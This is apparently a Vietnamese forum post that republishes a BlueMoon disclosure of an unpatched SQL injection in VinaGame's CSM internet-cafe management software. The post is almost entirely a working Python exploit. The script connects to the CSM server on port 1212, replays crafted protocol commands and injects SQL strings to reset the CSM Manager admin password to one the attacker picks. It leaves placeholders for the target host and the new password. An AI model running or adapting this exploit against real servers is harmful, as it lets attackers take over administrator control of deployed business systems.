Lỗi SQL Injection của phần mềm quản lý phòng net VinaGame CSM đã được BlueMoon cảnh báo VinaGame hồi tháng 5/2008 nhưng đến nay phiên bản mới nhất mình download từ trang http://csm.vinagame.com.vn vẫn còn dính lỗi này. Lỗi này cho phép người tấn công có thể change password admin của CSM Manager ở máy chủ bằng 1 đoạn code khá đơn giản viết bằng Python!
Code Exploit:
- Mã: Chọn tất cả
import socket
import struct
import threading
import time
MAYCHU = 'dien_dia_chi_may_chu_o_day_ne_hay_hostname_cung_duoc'
MAYTRAM = '192.168.0.1'#FAKE
MATKHAU_MOI = 'chomaynhodoi'
def send_command(s, cmd, content):
buf = struct.pack("II", cmd, 0)
buf += content
buf += (208 - len(buf)) * '\x00'
s.send(buf)
def recv(s):
buf = s.recv(208)
while len(buf) > 0:
print len(buf), hex(ord(buf[0]))
buf = s.recv(208)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((MAYCHU, 1212))
send_command(s, 0x33, "Hitle;%s;4.3.0" % MAYTRAM)
send_command(s, 0x37, "Poc;0;14")
send_command(s, 0x4C, "20480")
send_command(s, 0x34, "0;14")
kicker = threading.Thread(target=recv, args=(s,))
kicker.setDaemon(True)
kicker.start()
for i in range(5):
send_command(s, 0x96, "")
time.sleep(2)
send_command(s, 0x36, "Admin;') OR remaintime > 0 and ('1'='1")
time.sleep(5)
send_command(s, 0x40, "208634")
send_command(s, 0x41, "22631")
send_command(s, 0x35, "1;30;PoC")
for i in range(5):
buf = '\x96' + 207 * '\x00'
s.send(buf)
time.sleep(2)
send_command(s, 0x38, "Admin;') OR ('1'='1;%s" % MATKHAU_MOI)
for i in range(5):
send_command(s, 0x96, "")
time.sleep(2)
s.close()
Nguồn: htttp://bluemoon.com.vn